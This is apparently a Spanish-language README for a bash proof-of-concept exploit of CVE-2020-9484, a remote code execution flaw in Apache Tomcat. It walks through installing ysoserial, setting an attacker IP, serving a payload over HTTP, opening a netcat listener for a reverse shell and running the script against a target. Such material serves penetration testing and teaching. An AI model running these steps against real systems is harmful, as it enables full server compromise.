
Apache Tomcat 9.0.27 es vulnerable a la ejecución remota de código con el CVE-ID CVE-2020-9484. Otras versiones también pueden verse afectadas. Probado en Kali 2020.4 y JDK 8. Este script bash es una prueba de concepto sencilla. Solo con fines educativos.
La vulnerabilidad permite a un atacante remoto ejecutar código arbitrario en el sistema objetivo.
La vulnerabilidad existe debido a una validación de entrada insegura al procesar datos serializados en los nombres de archivos subidos. Un atacante remoto puede pasar un nombre de archivo especialmente manipulado a la aplicación y ejecutar código arbitrario en el sistema objetivo.
La explotación exitosa de esta vulnerabilidad puede resultar en un compromiso total del sistema vulnerable, pero requiere que el servidor esté configurado para usar PersistenceManager con un FileStore y que el atacante conozca la ruta de archivo relativa desde la ubicación de almacenamiento.
Para usar el script, se necesita yoserial. Para instalarlo:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
Si ya tienes yoserial instalado, asegúrate de renombrarlo a "yosorial-master.jar".
Para instalar el script, escribe:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
Para abrir el menú de ayuda, escribe:
./CVE-2020-9484.sh --help
o
./CVE-2020-9484.sh -h
Primero, abre el script y coloca tu propia dirección IP en la línea 14:
remote_ip="10.10.16.180" # change this
Este script crea los archivos "payload.sh", "downloadPayload.session", "chmodPayload.session" y "executePayload.session" en el mismo directorio en el que te encuentras actualmente. Para usar el exploit, necesitas iniciar un listener sencillo en el puerto 80. Por ejemplo, uso con Python3 (inícialo en la misma carpeta desde la que ejecutas el script):
sudo python3 -m http.server 80
Además, asegúrate de iniciar un listener de netcat en el puerto 4444:
nc -nvlp 4444
Ahora ejecuta el script con la dirección IP del sistema objetivo que quieres atacar:
./CVE-2020-9484.sh target-ip
Si no funciona, asegúrate de usar JDK 8. Para comprobar qué versión usas, escribe:
java -version
Puede que no funcione en JDK versión 12 o superior. Lee más sobre ello aquí.